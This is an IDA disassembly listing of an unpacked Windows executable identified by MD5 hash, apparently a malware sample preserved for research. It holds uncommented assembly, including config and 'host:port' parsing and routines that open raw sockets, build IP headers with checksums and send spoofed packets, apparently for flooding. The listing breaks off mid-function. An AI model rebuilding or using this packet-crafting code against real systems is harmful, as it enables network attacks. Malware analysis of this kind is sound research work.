;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	25887EB1DB9A0A1F880BFF4FF21CEC79

; ---------------------------------------------------------------------------
; File Name   :	u:\work\25887eb1db9a0a1f880bff4ff21cec79_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 000167FA (  92154.)
; Section size in file		: 00016800 (  92160.)
; Offset to raw	data for section: 00000400
; Flags	60000020: Text Executable Readable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Execute
_text		segment	para public 'CODE' use32
		assume cs:_text
		;org 401000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
		cmp	cl, 40h
		jnb	short loc_40101A
		cmp	cl, 20h
		jnb	short loc_401010
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_401010:				; CODE XREF: .text:00401008j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_40101A:				; CODE XREF: .text:00401003j
		xor	eax, eax
		xor	edx, edx
		retn
; ---------------------------------------------------------------------------
		align 10h
		cmp	cl, 40h
		jnb	short loc_40103B
		cmp	cl, 20h
		jnb	short loc_401030
		shrd	eax, edx, cl
		sar	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_401030:				; CODE XREF: .text:00401028j
		mov	eax, edx
		sar	edx, 1Fh
		and	cl, 1Fh
		sar	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_40103B:				; CODE XREF: .text:00401023j
		sar	edx, 1Fh
		mov	eax, edx
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401050	proc near		; CODE XREF: sub_40CFAE+29p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_401072
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_4010B3
; ---------------------------------------------------------------------------


loc_401072:				; CODE XREF: sub_401050+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_401080:				; CODE XREF: sub_401050+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_401080
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_4010AE
		cmp	edx, [esp+8+arg_4]
		ja	short loc_4010AE
		jb	short loc_4010AF
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_4010AF


loc_4010AE:				; CODE XREF: sub_401050+4Ej
					; sub_401050+54j
		dec	esi


loc_4010AF:				; CODE XREF: sub_401050+56j
					; sub_401050+5Cj
		xor	edx, edx
		mov	eax, esi


loc_4010B3:				; CODE XREF: sub_401050+20j
		pop	esi
		pop	ebx
		retn	10h
sub_401050	endp

; ---------------------------------------------------------------------------
		align 10h
		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+14h]
		or	eax, eax
		jge	short loc_4010E1
		inc	edi
		mov	edx, [esp+10h]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+14h], eax
		mov	[esp+10h], edx


loc_4010E1:				; CODE XREF: .text:004010CBj
		mov	eax, [esp+1Ch]
		or	eax, eax
		jge	short loc_4010FD
		inc	edi
		mov	edx, [esp+18h]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+1Ch], eax
		mov	[esp+18h], edx


loc_4010FD:				; CODE XREF: .text:004010E7j
		or	eax, eax
		jnz	short loc_401119
		mov	ecx, [esp+18h]
		mov	eax, [esp+14h]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+10h]
		div	ecx
		mov	edx, ebx
		jmp	short loc_40115A
; ---------------------------------------------------------------------------


loc_401119:				; CODE XREF: .text:004010FFj
		mov	ebx, eax
		mov	ecx, [esp+18h]
		mov	edx, [esp+14h]
		mov	eax, [esp+10h]


loc_401127:				; CODE XREF: .text:00401131j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_401127
		div	ecx
		mov	esi, eax
		mul	dword ptr [esp+1Ch]
		mov	ecx, eax
		mov	eax, [esp+18h]
		mul	esi
		add	edx, ecx
		jb	short loc_401155
		cmp	edx, [esp+14h]
		ja	short loc_401155
		jb	short loc_401156
		cmp	eax, [esp+10h]
		jbe	short loc_401156


loc_401155:				; CODE XREF: .text:00401145j
					; .text:0040114Bj
		dec	esi


loc_401156:				; CODE XREF: .text:0040114Dj
					; .text:00401153j
		xor	edx, edx
		mov	eax, esi


loc_40115A:				; CODE XREF: .text:00401117j
		dec	edi
		jnz	short loc_401164
		neg	edx
		neg	eax
		sbb	edx, 0


loc_401164:				; CODE XREF: .text:0040115Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401170	proc near		; CODE XREF: sub_4070DD+Fp
					; sub_40CFE7+20p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_401189
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_401189:				; CODE XREF: sub_401170+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_401170	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4011B0	proc near		; CODE XREF: sub_402624+8p
					; sub_4080EA+8p ...

arg_0		= byte ptr  4

		cmp	eax, 1000h
		jnb	short loc_4011C5
		neg	eax
		add	eax, esp
		add	eax, 4
		test	[eax], eax
		xchg	eax, esp
		mov	eax, [eax]
		push	eax
		retn
; ---------------------------------------------------------------------------


loc_4011C5:				; CODE XREF: sub_4011B0+5j
		push	ecx
		lea	ecx, [esp+4+arg_0]


loc_4011CA:				; CODE XREF: sub_4011B0+2Cj
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_4011CA
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_4011B0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4011ED	proc near		; CODE XREF: sub_401219+1Bp

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	ds:dword_4181E8
		mov	[esi+2], ax
		pop	esi
		retn	4
sub_4011ED	endp


; =============== S U B	R O U T	I N E =======================================



sub_401202	proc near		; CODE XREF: sub_4021DE+Dp
		mov	eax, ecx
		retn
sub_401202	endp


; =============== S U B	R O U T	I N E =======================================



sub_401205	proc near		; CODE XREF: sub_401DEB+Ej
					; sub_40444C+6Ep ...
		push	esi
		mov	esi, ecx
		mov	ecx, [esi]
		test	ecx, ecx
		jz	short loc_401217
		mov	eax, [ecx]
		push	1
		call	dword ptr [eax]
		and	dword ptr [esi], 0


loc_401217:				; CODE XREF: sub_401205+7j
		pop	esi
		retn
sub_401205	endp


; =============== S U B	R O U T	I N E =======================================



sub_401219	proc near		; CODE XREF: sub_40123F+12p
					; sub_405E95+29p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		mov	word ptr [esi],	2
		call	ds:dword_4181EC
		push	[esp+4+arg_4]
		mov	ecx, esi
		mov	[esi+4], eax
		call	sub_4011ED
		mov	eax, esi
		pop	esi
		retn	8
sub_401219	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40123F	proc near		; CODE XREF: sub_401269+2Ap
					; sub_4067A5+1Bp ...

var_10		= byte ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	[ebp+arg_4]
		mov	esi, ecx
		push	[ebp+arg_0]
		lea	ecx, [ebp+var_10]
		call	sub_401219
		push	[ebp+arg_8]
		lea	eax, [ebp+var_10]
		push	eax
		mov	ecx, esi
		call	sub_40DFF7
		pop	esi
		leave
		retn	0Ch
sub_40123F	endp


; =============== S U B	R O U T	I N E =======================================



sub_401269	proc near		; CODE XREF: sub_4012B3+Dp
					; sub_404AAE+6j

arg_0		= dword	ptr  4
arg_4		= word ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	0Ch
		call	sub_40D0BB
		test	eax, eax
		pop	ecx
		jz	short loc_401281
		mov	ecx, eax
		call	sub_40DD7C
		mov	esi, eax
		jmp	short loc_401283
; ---------------------------------------------------------------------------


loc_401281:				; CODE XREF: sub_401269+Bj
		xor	esi, esi


loc_401283:				; CODE XREF: sub_401269+16j
		push	[esp+4+arg_8]
		movzx	eax, [esp+8+arg_4]
		push	eax
		push	[esp+0Ch+arg_0]
		mov	ecx, esi
		call	sub_40123F
		cmp	eax, 1
		jnz	short loc_4012A1
		mov	eax, esi
		jmp	short loc_4012AF
; ---------------------------------------------------------------------------


loc_4012A1:				; CODE XREF: sub_401269+32j
		test	esi, esi
		jz	short loc_4012AD
		mov	eax, [esi]
		push	1
		mov	ecx, esi
		call	dword ptr [eax]


loc_4012AD:				; CODE XREF: sub_401269+3Aj
		xor	eax, eax


loc_4012AF:				; CODE XREF: sub_401269+36j
		pop	esi
		retn	0Ch
sub_401269	endp


; =============== S U B	R O U T	I N E =======================================



sub_4012B3	proc near		; CODE XREF: sub_402624+29Fp
					; sub_405675+106p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_401269
		mov	esi, eax
		test	esi, esi
		jz	short loc_4012E1
		push	10h
		call	sub_40D0BB
		test	eax, eax
		pop	ecx
		jz	short loc_4012E1
		push	esi
		mov	ecx, eax
		call	sub_40D341
		jmp	short loc_4012E3
; ---------------------------------------------------------------------------


loc_4012E1:				; CODE XREF: sub_4012B3+16j
					; sub_4012B3+22j
		xor	eax, eax


loc_4012E3:				; CODE XREF: sub_4012B3+2Cj
		pop	esi
		retn	0Ch
sub_4012B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_4012E7	proc near		; CODE XREF: sub_40132C+13p
					; sub_4070A6+19p ...

arg_0		= dword	ptr  4

		xor	eax, eax
		cmp	[esp+arg_0], eax
		jz	short locret_4012F9
		push	eax
		push	[esp+4+arg_0]
		call	sub_40DB5E

locret_4012F9:				; CODE XREF: sub_4012E7+6j
		retn	4
sub_4012E7	endp


; =============== S U B	R O U T	I N E =======================================



sub_4012FC	proc near		; CODE XREF: sub_401A43+7p
					; sub_401A43+11p ...

arg_0		= dword	ptr  4

		push	esi
		xor	eax, eax
		push	eax
		push	eax
		push	[esp+0Ch+arg_0]
		mov	esi, ecx
		push	eax
		call	ds:dword_4180A0
		mov	[esi], eax
		mov	eax, esi
		pop	esi
		retn	4
sub_4012FC	endp


; =============== S U B	R O U T	I N E =======================================



sub_401316	proc near		; CODE XREF: sub_405675+1F4p

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		push	dword ptr [ecx]
		call	ds:dword_4180B0
		neg	eax
		sbb	eax, eax
		inc	eax
		retn	4
sub_401316	endp


; =============== S U B	R O U T	I N E =======================================



sub_40132C	proc near		; CODE XREF: sub_405074+9Cp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	dword ptr [esi+4]
		call	ds:dword_4180A8
		push	[esp+4+arg_0]
		lea	ecx, [esi+28h]
		call	sub_4012E7
		push	dword ptr [esi+4]
		call	ds:dword_4180AC
		pop	esi
		retn	4
sub_40132C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401351	proc near		; CODE XREF: sub_4017C3+30p

var_5F4		= byte ptr -5F4h
var_5EC		= dword	ptr -5ECh
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 5F4h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	esi
		push	esi
		push	esi
		push	esi
		push	2
		push	2
		call	ds:dword_4181DC
		push	esi
		push	esi
		mov	ebx, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	5F0h
		lea	eax, [ebp+var_5F4]
		push	eax
		push	esi
		push	esi
		push	4004747Fh
		push	ebx
		call	ds:dword_4181E0
		mov	eax, [ebp+var_4]
		push	4Ch
		xor	edx, edx
		pop	ecx
		div	ecx
		cmp	eax, esi
		jle	short loc_4013BB
		lea	ecx, [ebp+var_5F4]


loc_4013A3:				; CODE XREF: sub_401351+68j
		mov	edi, [ecx]
		mov	edx, edi
		shr	edx, 2
		not	edx
		and	edx, edi
		test	dl, 1
		jnz	short loc_4013C2
		inc	esi
		add	ecx, 4Ch
		cmp	esi, eax
		jl	short loc_4013A3


loc_4013BB:				; CODE XREF: sub_401351+4Aj
		xor	eax, eax


loc_4013BD:				; CODE XREF: sub_401351+82j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4013C2:				; CODE XREF: sub_401351+60j
		push	ebx
		call	ds:dword_4181E4
		imul	esi, 4Ch
		mov	eax, [ebp+esi+var_5EC]
		jmp	short loc_4013BD
sub_401351	endp


; =============== S U B	R O U T	I N E =======================================



sub_4013D5	proc near		; CODE XREF: sub_4017C3+18p
					; sub_4017C3+29p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		xor	eax, eax
		cmp	byte ptr [esi],	3Ah
		push	edi
		jz	short loc_4013EF


loc_4013E2:				; CODE XREF: sub_4013D5+18j
		cmp	byte ptr [eax+esi], 0
		jz	short loc_4013EF
		inc	eax
		cmp	byte ptr [eax+esi], 3Ah
		jnz	short loc_4013E2


loc_4013EF:				; CODE XREF: sub_4013D5+Bj
					; sub_4013D5+11j
		lea	edi, [eax+esi]
		inc	eax
		push	eax
		mov	byte ptr [edi],	0
		call	sub_40CA18
		pop	ecx
		mov	ecx, [esp+8+arg_4]
		push	esi
		push	eax
		mov	[ecx], eax
		call	ds:dword_4180B4
		inc	edi
		push	edi
		call	sub_40CE59
		pop	ecx
		mov	ecx, [esp+8+arg_8]
		pop	edi
		mov	[ecx], eax
		xor	eax, eax
		pop	esi
		retn	0Ch
sub_4013D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401420	proc near		; CODE XREF: sub_40150A+2Cp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		xor	edi, edi
		cmp	byte ptr [esi],	3Bh
		jz	short loc_401440


loc_40142F:				; CODE XREF: sub_401420+1Aj
		cmp	byte ptr [edi+esi], 0
		jz	short loc_40143C
		inc	edi
		cmp	byte ptr [edi+esi], 3Bh
		jnz	short loc_40142F


loc_40143C:				; CODE XREF: sub_401420+13j
		test	edi, edi
		jnz	short loc_401447


loc_401440:				; CODE XREF: sub_401420+Dj
		xor	eax, eax
		jmp	loc_401504
; ---------------------------------------------------------------------------


loc_401447:				; CODE XREF: sub_401420+1Ej
		push	ebx
		push	10h
		mov	byte ptr [edi+esi], 0
		call	sub_40CA18
		inc	edi
		push	edi
		mov	ebx, eax
		call	sub_40CA18
		pop	ecx
		pop	ecx
		push	esi
		push	eax
		mov	[ebx], eax
		call	ds:dword_4180B4
		lea	eax, [edi+esi]
		mov	[ebp+arg_0], eax
		jmp	short loc_401479
; ---------------------------------------------------------------------------


loc_401470:				; CODE XREF: sub_401420+5Cj
		cmp	byte ptr [eax],	0
		jz	short loc_40147E
		inc	edi
		lea	eax, [edi+esi]


loc_401479:				; CODE XREF: sub_401420+4Ej
		cmp	byte ptr [eax],	3Bh
		jnz	short loc_401470


loc_40147E:				; CODE XREF: sub_401420+53j
		mov	eax, edi
		sub	eax, [ebp+arg_0]
		mov	byte ptr [edi+esi], 0
		lea	eax, [eax+esi+1]
		push	eax
		call	sub_40CA18
		pop	ecx
		push	[ebp+arg_0]
		mov	[ebx+4], eax
		push	eax
		call	ds:dword_4180B4
		inc	edi
		lea	ecx, [edi+esi]
		mov	al, [ecx]
		jmp	short loc_4014AF
; ---------------------------------------------------------------------------


loc_4014A7:				; CODE XREF: sub_401420+91j
		test	al, al
		jz	short loc_4014B3
		inc	edi
		mov	al, [edi+esi]


loc_4014AF:				; CODE XREF: sub_401420+85j
		cmp	al, 3Bh
		jnz	short loc_4014A7


loc_4014B3:				; CODE XREF: sub_401420+89j
		push	ecx
		call	sub_40CE59
		test	eax, eax
		pop	ecx
		mov	[ebx+8], eax
		jnz	short loc_4014DD
		push	dword ptr [ebx]
		call	sub_40CCC5
		push	dword ptr [ebx+4]
		call	sub_40CCC5
		push	ebx
		call	sub_40CCC5
		add	esp, 0Ch
		xor	eax, eax
		jmp	short loc_401503
; ---------------------------------------------------------------------------


loc_4014DD:				; CODE XREF: sub_401420+9Fj
		inc	edi
		lea	eax, [edi+esi]
		mov	ecx, eax
		jmp	short loc_4014EE
; ---------------------------------------------------------------------------


loc_4014E5:				; CODE XREF: sub_401420+D1j
		cmp	byte ptr [eax],	0
		jz	short loc_4014F3
		inc	edi
		lea	eax, [edi+esi]


loc_4014EE:				; CODE XREF: sub_401420+C3j
		cmp	byte ptr [eax],	3Bh
		jnz	short loc_4014E5


loc_4014F3:				; CODE XREF: sub_401420+C8j
		push	ecx
		mov	byte ptr [edi+esi], 0
		call	sub_40CE59
		mov	[ebx+0Ch], eax
		pop	ecx
		mov	eax, ebx


loc_401503:				; CODE XREF: sub_401420+BBj
		pop	ebx


loc_401504:				; CODE XREF: sub_401420+22j
		pop	edi
		pop	esi
		pop	ebp
		retn	4
sub_401420	endp


; =============== S U B	R O U T	I N E =======================================



sub_40150A	proc near		; CODE XREF: sub_401918+FBp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		push	edi
		xor	edi, edi
		test	eax, eax
		jnz	short loc_40151C


loc_401518:				; CODE XREF: sub_40150A+1Bj
		xor	eax, eax
		jmp	short loc_40153E
; ---------------------------------------------------------------------------


loc_40151C:				; CODE XREF: sub_40150A+Cj
		cmp	byte ptr [eax],	0Ah
		jz	short loc_401530


loc_401521:				; CODE XREF: sub_40150A+24j
		cmp	byte ptr [eax+edi], 0
		jz	short loc_401518
		inc	edi
		mov	edx, eax
		cmp	byte ptr [edi+edx], 0Ah
		jnz	short loc_401521


loc_401530:				; CODE XREF: sub_40150A+15j
		mov	byte ptr [eax+edi], 0
		push	dword ptr [esi]
		call	sub_401420
		inc	edi
		add	[esi], edi


loc_40153E:				; CODE XREF: sub_40150A+10j
		pop	edi
		pop	esi
		retn	4
sub_40150A	endp


; =============== S U B	R O U T	I N E =======================================



sub_401543	proc near		; CODE XREF: sub_401592+49p
					; sub_401621+65p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		xor	esi, esi
		cmp	ecx, 1
		jle	short loc_40156E
		lea	eax, [ecx-2]
		shr	eax, 1
		inc	eax
		mov	edx, eax
		neg	edx
		lea	ecx, [ecx+edx*2]
		mov	edx, [esp+4+arg_0]
		push	edi


loc_401561:				; CODE XREF: sub_401543+26j
		movzx	edi, word ptr [edx]
		add	esi, edi
		inc	edx
		inc	edx
		dec	eax
		jnz	short loc_401561
		pop	edi
		jmp	short loc_401572
; ---------------------------------------------------------------------------


loc_40156E:				; CODE XREF: sub_401543+Aj
		mov	edx, [esp+4+arg_0]


loc_401572:				; CODE XREF: sub_401543+29j
		test	ecx, ecx
		jz	short loc_40157B
		movzx	eax, byte ptr [edx]
		add	esi, eax


loc_40157B:				; CODE XREF: sub_401543+31j
		movzx	eax, si
		mov	ecx, esi
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		pop	esi
		retn	8
sub_401543	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401592	proc near		; CODE XREF: sub_401621+7Dp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		push	28h
		mov	[ebp+var_4], ecx
		call	sub_40CA18
		mov	esi, [ebp+arg_0]
		pop	ecx
		push	7
		pop	ecx
		push	[ebp+arg_4]
		mov	ebx, eax
		add	esi, 14h
		lea	edi, [ebx+0Ch]
		rep movsd
		call	ds:dword_4181E8
		mov	[ebx+0Ah], ax
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+0Ch]
		mov	[ebx], ecx
		mov	ecx, [eax+10h]
		mov	[ebx+4], ecx
		mov	al, [eax+9]
		mov	ecx, [ebp+var_4]
		push	28h
		push	ebx
		mov	[ebx+9], al
		call	sub_401543
		push	ebx
		movzx	esi, ax
		call	sub_40CCC5
		pop	ecx
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_401592	endp


; =============== S U B	R O U T	I N E =======================================



sub_4015F3	proc near		; CODE XREF: sub_404F95+Cp
					; sub_404FB3+15p
		push	esi
		push	edi
		mov	esi, ecx
		push	dword ptr [esi]
		call	ds:dword_4180A8
		lea	ecx, [esi+18h]
		call	sub_40B150
		lea	ecx, [esi+28h]
		call	sub_40DB59
		push	dword ptr [esi+4]
		mov	edi, ds:dword_4180A4
		call	edi
		push	dword ptr [esi]
		call	edi
		pop	edi
		pop	esi
		retn
sub_4015F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401621	proc near		; CODE XREF: sub_4017C3+12Bp

var_10		= word ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		cmp	[ebp+arg_0], 0
		push	ebx
		mov	ebx, ecx
		jnz	short loc_401637
		xor	eax, eax
		jmp	loc_4016BE
; ---------------------------------------------------------------------------


loc_401637:				; CODE XREF: sub_401621+Dj
		mov	eax, [ebp+arg_C]
		push	esi
		push	[ebp+arg_8]
		mov	esi, ds:dword_4181E8
		mov	[ebp+var_C], eax
		mov	dword_421018, eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		mov	dword_421014, eax
		call	esi
		push	[ebp+arg_10]
		mov	word_42101C, ax
		call	esi
		and	word_421012, 0
		push	14h
		mov	esi, offset dword_421008
		push	esi
		mov	ecx, ebx
		mov	word_42101E, ax
		mov	byte_421029, 2
		call	sub_401543
		and	word_42102C, 0
		push	1Ch
		push	esi
		mov	ecx, ebx
		mov	word_421012, ax
		call	sub_401592
		push	10h
		mov	word_42102C, ax
		lea	eax, [ebp+var_10]
		push	eax
		push	0
		push	30h
		push	esi
		push	[ebp+arg_0]
		call	ds:dword_4181D8
		pop	esi


loc_4016BE:				; CODE XREF: sub_401621+11j
		pop	ebx
		leave
		retn	14h
sub_401621	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4016C3	proc near		; CODE XREF: sub_4017C3+115p

var_10		= word ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		cmp	[ebp+arg_0], 0
		push	ebx
		mov	ebx, ecx
		jnz	short loc_4016D6
		xor	eax, eax
		jmp	short loc_401746
; ---------------------------------------------------------------------------


loc_4016D6:				; CODE XREF: sub_4016C3+Dj
		mov	ecx, [ebp+arg_4]
		mov	eax, [ebp+arg_C]
		and	word_421042, 0
		push	esi
		push	14h
		mov	dword_421044, ecx
		mov	esi, offset dword_421038
		push	esi
		mov	ecx, ebx
		mov	[ebp+var_10], 2
		mov	[ebp+var_C], eax
		mov	dword_421048, eax
		mov	byte_42104C, 8
		call	sub_401543
		and	word_42104E, 0
		push	28h
		push	offset byte_42104C
		mov	ecx, ebx
		mov	word_421042, ax
		call	sub_401543
		push	10h
		mov	word_42104E, ax
		lea	eax, [ebp+var_10]
		push	eax
		push	0
		push	3Ch
		push	esi
		push	[ebp+arg_0]
		call	ds:dword_4181D8
		pop	esi


loc_401746:				; CODE XREF: sub_4016C3+11j
		pop	ebx
		leave
		retn	14h
sub_4016C3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40174B	proc near		; CODE XREF: sub_401A43+52p
					; sub_401FB8+1Bp ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	8
		mov	esi, ecx
		call	sub_40D0BB
		pop	ecx
		mov	ecx, [esp+8+arg_0]
		mov	[eax+4], ecx
		xor	ecx, ecx
		lea	edi, [esi+4]
		push	edi
		push	ecx
		push	eax
		push	offset sub_4151FE
		push	ecx
		push	ecx
		mov	[eax], esi
		call	ds:dword_4180BC
		mov	[esi], eax
		mov	eax, [edi]
		pop	edi
		pop	esi
		retn	4
sub_40174B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40177E	proc near		; CODE XREF: sub_401918+BBp
					; sub_416254+7Fp ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	8
		mov	esi, ecx
		call	sub_40D0BB
		pop	ecx
		mov	ecx, [esp+8+arg_0]
		lea	edi, [esi+4]
		push	edi
		push	4
		push	eax
		push	offset sub_4151FE
		push	0
		push	0
		mov	[eax], esi
		mov	[eax+4], ecx
		call	ds:dword_4180BC
		push	0FFFFFFF1h
		push	eax
		mov	[esi], eax
		call	ds:dword_4180C4
		push	dword ptr [esi]
		call	ds:dword_4180C0
		mov	eax, [edi]
		pop	edi
		pop	esi
		retn	4
sub_40177E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4017C3	proc near		; DATA XREF: sub_401A43+35o

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	dword ptr [esi+4]
		mov	edi, ecx
		call	sub_4013D5
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	dword ptr [esi]
		mov	ecx, edi
		call	sub_4013D5
		mov	ecx, edi
		call	sub_401351
		push	[ebp+var_8]
		mov	[ebp+var_10], eax
		call	ds:dword_4181CC
		push	[ebp+var_4]
		mov	[ebp+arg_0], eax
		mov	eax, [esi+8]
		mov	[ebp+var_20], eax
		call	sub_40CCC5
		push	[ebp+var_8]
		call	sub_40CCC5
		push	dword ptr [esi]
		call	sub_40CCC5
		push	dword ptr [esi+4]
		call	sub_40CCC5
		push	esi
		call	sub_40CCC5
		add	esp, 14h
		push	0FFh
		push	3
		push	2
		call	ds:dword_4181D0
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jz	loc_401912
		lea	ecx, [ebp+var_18]
		push	4
		mov	[ebp+var_1C], ecx
		lea	ecx, [ebp+var_1C]
		push	ecx
		push	2
		xor	esi, esi
		push	0
		inc	esi
		push	eax
		mov	[ebp+var_18], esi
		call	ds:dword_4181D4
		test	eax, eax
		jnz	loc_401912
		cmp	[ebp+arg_0], eax
		jz	loc_401912
		mov	eax, [ebp+var_10]
		push	ebx
		mov	ebx, [ebp+var_C]
		push	esi
		mov	esi, ds:dword_4180B0
		mov	[ebp+var_4], eax
		jmp	short loc_4018FD
; ---------------------------------------------------------------------------


loc_401891:				; CODE XREF: sub_4017C3+143j
		push	1
		push	0
		push	dword ptr [edi]
		call	esi
		test	eax, eax
		jz	short loc_401908
		cmp	[ebp+var_C], 0
		jnz	short loc_4018B1
		call	ds:dword_4180CC
